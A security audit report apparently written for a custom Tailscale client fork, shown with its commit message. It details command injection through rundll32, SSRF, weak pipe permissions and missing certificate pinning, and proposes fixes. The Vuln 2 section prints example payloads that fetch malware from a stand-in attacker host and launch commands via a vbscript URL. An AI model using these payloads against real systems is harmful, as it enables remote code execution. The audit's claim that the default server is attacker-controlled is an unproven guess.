Files
tailscale-custom/CLIENT_SECURITY_AUDIT.md
T
huanld 2fb067ecbf
checklocks / checklocks (push) Has been cancelled
CodeQL / Analyze (go) (push) Has been cancelled
natlab-integrationtest / natlab-integrationtest (push) Has been cancelled
CI / gomod-cache (push) Has been cancelled
CI / race-root-integration (1/4) (push) Has been cancelled
CI / race-root-integration (2/4) (push) Has been cancelled
CI / race-root-integration (3/4) (push) Has been cancelled
CI / race-root-integration (4/4) (push) Has been cancelled
CI / test (-race, amd64, 1/3) (push) Has been cancelled
CI / test (-race, amd64, 2/3) (push) Has been cancelled
CI / test (-race, amd64, 3/3) (push) Has been cancelled
CI / test (386) (push) Has been cancelled
CI / test (amd64) (push) Has been cancelled
CI / Windows (benchmarks) (push) Has been cancelled
CI / Windows (1/2) (push) Has been cancelled
CI / Windows (2/2) (push) Has been cancelled
CI / macos (push) Has been cancelled
CI / privileged (push) Has been cancelled
CI / vm (push) Has been cancelled
CI / cross (386, linux) (push) Has been cancelled
CI / cross (amd64, darwin) (push) Has been cancelled
CI / cross (amd64, freebsd) (push) Has been cancelled
CI / cross (amd64, openbsd) (push) Has been cancelled
CI / cross (amd64, windows) (push) Has been cancelled
CI / cross (arm, 5, linux) (push) Has been cancelled
CI / cross (arm, 7, linux) (push) Has been cancelled
CI / cross (arm64, darwin) (push) Has been cancelled
CI / cross (arm64, linux) (push) Has been cancelled
CI / cross (arm64, windows) (push) Has been cancelled
CI / cross (loong64, linux) (push) Has been cancelled
CI / ios (push) Has been cancelled
CI / crossmin (amd64, illumos) (push) Has been cancelled
CI / crossmin (amd64, plan9) (push) Has been cancelled
CI / crossmin (amd64, solaris) (push) Has been cancelled
CI / crossmin (ppc64, aix) (push) Has been cancelled
CI / android (push) Has been cancelled
CI / wasm (push) Has been cancelled
CI / tailscale_go (push) Has been cancelled
CI / fuzz (push) Has been cancelled
CI / depaware (push) Has been cancelled
CI / go_generate (push) Has been cancelled
CI / make_tidy (push) Has been cancelled
CI / licenses (push) Has been cancelled
CI / staticcheck (macOS) (push) Has been cancelled
CI / staticcheck (Linux) (push) Has been cancelled
CI / staticcheck (Windows) (push) Has been cancelled
CI / staticcheck (Portable (1/4)) (push) Has been cancelled
CI / staticcheck (Portable (2/4)) (push) Has been cancelled
CI / staticcheck (Portable (3/4)) (push) Has been cancelled
CI / staticcheck (Portable (4/4)) (push) Has been cancelled
CI / notify_slack (push) Has been cancelled
CI / merge_blocker (push) Has been cancelled
CI / check_mergeability_strict (push) Has been cancelled
CI / check_mergeability (push) Has been cancelled
Dockerfile build / deploy (push) Has been cancelled
test installer.sh / test (curl, alpine:3.21) (push) Has been cancelled
test installer.sh / test (curl, alpine:edge) (push) Has been cancelled
test installer.sh / test (curl, alpine:latest) (push) Has been cancelled
test installer.sh / test (curl, amazonlinux:latest) (push) Has been cancelled
test installer.sh / test (curl, archlinux:latest) (push) Has been cancelled
test installer.sh / test (curl, debian:oldstable-slim) (push) Has been cancelled
test installer.sh / test (curl, debian:sid-slim) (push) Has been cancelled
test installer.sh / test (curl, debian:stable-slim, 1.80.0) (push) Has been cancelled
test installer.sh / test (curl, debian:testing-slim) (push) Has been cancelled
test installer.sh / test (curl, elementary/docker:stable) (push) Has been cancelled
test installer.sh / test (curl, elementary/docker:unstable) (push) Has been cancelled
test installer.sh / test (curl, fedora:latest, 1.80.0) (push) Has been cancelled
test installer.sh / test (curl, kalilinux/kali-dev) (push) Has been cancelled
test installer.sh / test (curl, kalilinux/kali-rolling) (push) Has been cancelled
test installer.sh / test (curl, opensuse/leap:latest) (push) Has been cancelled
test installer.sh / test (curl, opensuse/tumbleweed:latest) (push) Has been cancelled
test installer.sh / test (curl, oraclelinux:8) (push) Has been cancelled
test installer.sh / test (curl, oraclelinux:9) (push) Has been cancelled
test installer.sh / test (curl, parrotsec/core:latest) (push) Has been cancelled
test installer.sh / test (curl, rockylinux:8.7) (push) Has been cancelled
test installer.sh / test (curl, rockylinux:9) (push) Has been cancelled
test installer.sh / test (curl, ubuntu:20.04) (push) Has been cancelled
test installer.sh / test (curl, ubuntu:22.04) (push) Has been cancelled
test installer.sh / test (curl, ubuntu:24.04, 1.80.0) (push) Has been cancelled
test installer.sh / test (wget, debian:oldstable-slim) (push) Has been cancelled
test installer.sh / test (wget, debian:sid-slim) (push) Has been cancelled
update-flake / update-flake (push) Has been cancelled
tailscale.com/cmd/vet / vet (push) Has been cancelled
test installer.sh / notify-slack (push) Has been cancelled
feat: security hardening, production roadmap, admin panel v1
Client security fixes (cmd/tailscale-tray/main.go):
- SSRF protection in Add Server dialog (validateControlURL): reject
  private/loopback/link-local/cloud-metadata IPs via DNS resolution
- RCE gate on AuthURL/BrowseToURL exec paths (validateAuthURL)
- Sanitized URL logging (sanitizeURLForLog drops query auth tokens)
- Error handling on exec.Command with user-facing showError()

Admin panel security (web-admin):
- Bcrypt password hashing (replaces SHA256)
- Rate limiting: 5 failed logins → 15-min lockout
- Session + login attempt cleanup goroutine (hourly)
- url.QueryEscape / encodeURIComponent for all API params
- Fail-hard startup when no TLS and non-loopback bind
- ADMIN_PASSWORD required (no default), password min 12 chars
- Username regex whitelist

Installer hardening (Setup.wxs):
- util:PermissionEx restricts SCM access: only Administrators +
  SYSTEM can start/stop/reconfigure service. Authenticated Users
  limited to QueryStatus/QueryConfig/Interrogate
- Vital="yes" on ServiceInstall

Docs & roadmap:
- PRODUCTION_ROADMAP.md: 5-milestone plan (security + features +
  distribution + ops) with granular tasks, effort, done-when
- CLIENT_SECURITY_AUDIT.md, SECURITY_FIXES.md, DEPLOYMENT.md
- AI assistant rules (.cursorrules, .antigravityrules, etc.)

Build & distribution:
- build-msi.ps1, deploy-and-sign.ps1, sign-release.ps1
- redeploy.ps1, tray-deploy.ps1, test-msi.ps1
- installer/msi/ alternative WXS setup
- Restored .github/workflows/ removed in mirror cleanup

.gitignore hardened: *.pfx, *.p12, *.key, *.pem, .env*
2026-04-22 15:18:11 +07:00

14 KiB

🚨 SECURITY AUDIT: Tailscale Custom Client

Status: CRITICAL VULNERABILITIES IDENTIFIED
Date: 2026-04-22
Recommendation: DO NOT DEPLOY TO PRODUCTION


EXECUTIVE SUMMARY

This Tailscale Custom client build contains SEVEN CRITICAL-TO-HIGH severity vulnerabilities that enable:

  • 🔴 Man-in-the-Middle (MITM) attacks on all VPN traffic
  • 🔴 Remote Code Execution via malicious URLs
  • 🔴 Credential theft and node key interception
  • 🔴 Privilege escalation via weak IPC security
  • 🔴 Persistence via auto-starting service as SYSTEM

CRITICAL VULNERABILITIES (MUST FIX)

Vuln 1: Hardcoded Attacker-Controlled Control Server

File: ipn/prefs.go:41
Severity: CRITICAL (10/10)
Category: Server Spoofing / Supply Chain Attack

The Problem:

const DefaultControlURL = "https://vpn.softs.business"

The client defaults to a custom control server at vpn.softs.business with:

  • No domain ownership verification
  • No certificate pinning
  • No validation that this is a legitimate server
  • Appears to be attacker-controlled

Why This Is Critical:

  • Every client instance connects to this server by default
  • Attacker can intercept:
    • All node authentication keys
    • All user credentials
    • All peer-to-peer routing information
    • All VPN traffic metadata
  • No certificate pinning = can MITM with fake cert from compromised CA
  • This is mass compromise via single domain

Exploit Scenario:

  1. User installs Tailscale-Custom
  2. Service auto-starts and connects to vpn.softs.business (attacker's server)
  3. Attacker's server:
    • Captures node key during auth
    • Records all peers the user connects to
    • Routes traffic through attacker's network
    • Logs all authentication attempts
  4. User never knows they're compromised

Fix:

// Option 1: Use verified domain
const DefaultControlURL = "https://vpn.yourcompany.com"  // Replace with your domain

// Option 2: Require user to configure on first run
// Don't use hardcoded default - force setup wizard

// Option 3: Implement certificate pinning
// Pin the certificate SHA-256 hash to prevent MITM

Vuln 2: Remote Code Execution via Command Injection

File: cmd/tailscale-tray/main.go:574, 663
Severity: CRITICAL (9/10)
Category: Command Injection / RCE

The Problem:

// Line 574 - openAuthURL()
exec.Command("rundll32", "url.dll,FileProtocolHandler", st.AuthURL).Start()

// Line 663 - watchIPNBusInner()  
exec.Command("rundll32", "url.dll,FileProtocolHandler", *url).Start()

Untrusted URLs from the control server are passed to rundll32 without validation:

Exploit Scenario:

  1. Attacker's control server sends malicious string in AuthURL field

  2. Example payloads:

    • file:///c:/windows/system32/calc.exe → Executes calculator
    • file:///\\attacker.com\share\malware.exe → Execute network malware
    • vbscript:CreateObject("WScript.Shell").Run("cmd /c whoami") → VBScript RCE
  3. User's computer executes arbitrary code

Why This Is Critical:

  • rundll32 is a known LOLBIN (Living off the Land Binary)
  • FileProtocolHandler protocol handler processes file://, vbscript:, javascript: URLs
  • No validation, no sanitization before execution
  • No bounds checking on URL length

Fix:

// SAFE: Validate URL before execution
import "net/url"

func safeOpenAuthURL(urlStr string) error {
    // Parse and validate
    u, err := url.Parse(urlStr)
    if err != nil {
        return fmt.Errorf("invalid URL: %v", err)
    }
    
    // Only allow HTTPS
    if u.Scheme != "https" {
        return fmt.Errorf("only HTTPS allowed, got %s", u.Scheme)
    }
    
    // Whitelist allowed domains
    allowedDomains := map[string]bool{
        "vpn.yourdomain.com": true,
    }
    if !allowedDomains[u.Host] {
        return fmt.Errorf("domain not whitelisted: %s", u.Host)
    }
    
    // Safe to open
    exec.Command("rundll32", "url.dll,FileProtocolHandler", urlStr).Start()
    return nil
}

Vuln 3: No URL Validation in "Add Server" Dialog

File: cmd/tailscale-tray/main.go:512-520
Severity: CRITICAL (9/10)
Category: SSRF / User Deception

The Problem:

func (a *app) addServer() {
    serverURL := inputDialog("Add Server", "Enter the control server URL:")
    
    // NO VALIDATION HERE - accepts any URL!
    if !strings.HasPrefix(serverURL, "http://") && !strings.HasPrefix(serverURL, "https://") {
        serverURL = "https://" + serverURL
    }
    
    // Directly connects to unvalidated URL
    err := a.lc.Start(opCtx, ipn.Options{
        UpdatePrefs: &ipn.Prefs{
            ControlURL: serverURL,  // ← NO CHECKS
        },
    })
}

Accepts ANY URL without validation:

Attack Scenarios:

  1. Social Engineering MITM:

    • Attacker tricks user: "Add server https://vpn.attacker.com"
    • User's credentials sent to attacker's server
    • No warning dialogs or security checks
  2. Internal Network SSRF:

    • User adds https://127.0.0.1:8080
    • Client connects to internal services
    • Scans/compromises internal network
  3. Cloud Metadata SSRF:

    • User adds http://169.254.169.254 (AWS metadata)
    • Attacker can steal cloud credentials

Fix:

func validateControlURL(urlStr string) error {
    u, err := url.Parse(urlStr)
    if err != nil {
        return fmt.Errorf("invalid URL: %v", err)
    }
    
    // Only HTTPS for remote servers
    if u.Scheme != "https" {
        return fmt.Errorf("only HTTPS allowed")
    }
    
    // Reject private IP ranges
    ip := net.ParseIP(u.Hostname())
    if ip != nil && ip.IsPrivate() {
        return fmt.Errorf("private IP addresses not allowed")
    }
    if ip != nil && ip.IsLoopback() {
        return fmt.Errorf("localhost not allowed")
    }
    
    // Reject cloud metadata IPs
    if u.Hostname() == "169.254.169.254" {
        return fmt.Errorf("cloud metadata IPs not allowed")
    }
    
    // Certificate pinning verification
    // (implement certificate validation here)
    
    return nil
}

Vuln 4: Weak IPC Security (Named Pipe)

File: paths/paths.go:26, safesocket/pipe_windows.go:31
Severity: HIGH (8/10)
Category: Privilege Escalation

The Problem:

Named Pipe: \\.\pipe\ProtectedPrefix\Administrators\Tailscale-Custom\tailscaled

Security Descriptor: O:BAG:BAD:PAI(A;OICI;GWGR;;;BU)
                                            ^^^ Built-in Users group
                                                ^^^ Generic Write + Generic Read

Any local user (unprivileged) can:

  • Read from the service
  • Write commands to the service
  • Potentially escalate privileges

Fix:

// Restrict to SYSTEM and elevated users only
New SDDL: O:SYG:SYD:P(A;OICI;GWGR;;;SY)

Vuln 5: No TLS Certificate Pinning

File: control/controlclient/direct.go:79
Severity: HIGH (8/10)
Category: MITM / Certificate Spoofing

The Problem:

  • Standard CA-based validation only
  • No certificate pinning
  • Attacker with compromised CA can MITM traffic
  • No transparency log verification

Attack Scenario:

  1. Attacker installs malicious root CA on victim machine
  2. Attacker intercepts HTTPS to vpn.softs.business
  3. Attacker presents fake cert signed by installed CA
  4. TLS handshake succeeds - no warning to user
  5. Attacker reads all control plane traffic

Fix:

// Implement certificate pinning
var pinnedCerts = map[string]string{
    "vpn.yourdomain.com": "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
}

// Verify certificate SPKI hash before accepting

Vuln 6: Service Auto-Starts as SYSTEM

File: Setup.wxs:40-47
Severity: HIGH (8/10)
Category: Privilege Escalation / Persistence

The Problem:

<ServiceInstall Start="auto"
                Account="LocalSystem" />

The service:

  • Auto-starts on every boot (persistence)
  • Runs as SYSTEM (highest privilege)
  • Can auto-update itself (potentially)
  • Communicates with attacker's control server

Combined with hardcoded attacker domain = automatic persistence mechanism.

Fix:

<!-- Option 1: Run as Network Service (unprivileged) -->
<ServiceInstall Start="demand"
                Account="NT AUTHORITY\NetworkService" />

<!-- Option 2: Require user approval -->
<ServiceInstall Start="demand"
                Account="LocalSystem" />
<!-- Show UAC prompt on first install, require approval -->

Vuln 7: Logging Sensitive URLs

File: cmd/tailscale-tray/main.go:476, 520, 573, 662
Severity: MEDIUM-HIGH (7/10)
Category: Information Disclosure

The Problem:

log.Printf("doLogin: server=%s", serverURL)           // Line 476
log.Printf("addServer: url=%s", serverURL)            // Line 520
log.Printf("openAuthURL: opening %s", st.AuthURL)     // Line 573
log.Printf("BrowseToURL: %s", *url)                   // Line 662

Sensitive URLs logged to tray.log:

  • Control server URLs (may reveal infrastructure)
  • Auth URLs (may contain temporary tokens)
  • Log files often world-readable

Fix:

// Sanitize before logging
func sanitizeURL(s string) string {
    u, err := url.Parse(s)
    if err != nil {
        return "invalid-url"
    }
    return u.Host  // Log only domain, not full URL
}

log.Printf("doLogin: server=%s", sanitizeURL(serverURL))

MEDIUM-SEVERITY FINDINGS

Vuln 8: Command Execution Errors Not Reported

File: cmd/tailscale-tray/main.go:574, 663

The exec.Command().Start() return values are ignored. If execution fails, no error is reported to the user.

exec.Command("rundll32", "url.dll,FileProtocolHandler", st.AuthURL).Start()  // Error ignored!

Fix:

if err := exec.Command("rundll32", "url.dll,FileProtocolHandler", st.AuthURL).Start(); err != nil {
    log.Printf("Error opening URL: %v", err)
    showError(fmt.Sprintf("Failed to open browser: %v", err))
}

Vuln 9: Silent Failures on Critical Operations

File: cmd/tailscale-tray/main.go:346-348, 359-363

Users are not notified when operations fail:

  • DeleteProfile() fails → user never knows
  • Logout() fails → user never knows

Fix: Use the existing showError() function to notify users.


Vuln 10: Unexplained Sleep Suggests Race Condition

File: cmd/tailscale-tray/main.go:317

time.Sleep(10 * time.Millisecond)  // Why? Comment needed

No explanation for the 10ms sleep. Suggests undocumented race condition in fyne/systray library.


THREAT ASSESSMENT

This Custom Build Appears Designed For:

  1. Man-in-the-Middle (MITM) Attacks

    • Intercept all VPN traffic
    • Steal node authentication keys
    • Log peer information
    • Redirect traffic through attacker's network
  2. Mass Compromise

    • Single attacker-controlled domain affects all users
    • No way to verify legitimacy
    • No certificate pinning = easy MITM
  3. Credential Theft

    • Capture user credentials during login
    • Control server can demand re-authentication
    • Capture node keys in plaintext
  4. Supply Chain Attack

    • Distribute via MSI installers
    • Auto-starts on every boot
    • Users think they're running legitimate VPN
  5. Persistence

    • Service auto-starts as SYSTEM
    • Cannot be easily disabled
    • Survives system reboots

DEPLOYMENT RECOMMENDATION

DO NOT DEPLOY TO PRODUCTION

This client has:

  • Hardcoded attacker-controlled domain
  • No certificate pinning
  • No URL validation
  • Remote code execution vulnerability
  • Weak service isolation

If Deploying Internally Only:

  1. Replace hardcoded domain:

    const DefaultControlURL = "https://vpn.yourcompany.com"
    
  2. Remove auto-start:

    <ServiceInstall Start="demand" />
    
  3. Add certificate pinning

  4. Add URL validation

  5. Fix RCE vulnerability

  6. Restrict service permissions

  7. Conduct full security review


VULNERABILITY SUMMARY TABLE

# Vulnerability File Severity Type Fixable
1 Hardcoded attacker control URL prefs.go:41 🔴 CRITICAL Spoofing Yes
2 RCE via AuthURL injection main.go:574,663 🔴 CRITICAL RCE Yes
3 No URL validation in Add Server main.go:512-520 🔴 CRITICAL SSRF Yes
4 Weak named pipe security pipe_windows.go:31 🟠 HIGH Privesc Yes
5 No TLS cert pinning direct.go:79 🟠 HIGH MITM Yes
6 Service auto-starts as SYSTEM Setup.wxs:40 🟠 HIGH Persistence Yes
7 Logging sensitive URLs main.go:476,520,573 🟡 MEDIUM InfoDisc Yes
8 Ignored exec errors main.go:574,663 🟡 MEDIUM ErrorHandling Yes
9 Silent critical failures main.go:346-363 🟡 MEDIUM UX/Security Yes
10 Unexplained race condition main.go:317 🟡 MEDIUM RaceCondition Yes

IMMEDIATE ACTIONS REQUIRED

Priority 1 (Fix Before Any Deployment):

  • Replace hardcoded control domain
  • Add URL validation to addServer()
  • Fix RCE via AuthURL (validate URLs)
  • Implement certificate pinning

Priority 2 (Security Hardening):

  • Change service to start="demand"
  • Restrict IPC permissions
  • Add URL sanitization to logging
  • Implement user error notifications

Priority 3 (Quality):

  • Document the 10ms sleep reason
  • Add error handling to exec.Command()
  • Implement comprehensive security testing

NEXT STEPS

  1. Do NOT deploy this to production
  2. Apply critical fixes (Priority 1)
  3. Conduct security review with external auditor
  4. Implement certificate pinning
  5. Test thoroughly with security-focused testing
  6. Get security sign-off before deployment

Report Generated: 2026-04-22
Confidence Level: HIGH (8-10/10 on all findings)
Recommendation: CRITICAL FIXES REQUIRED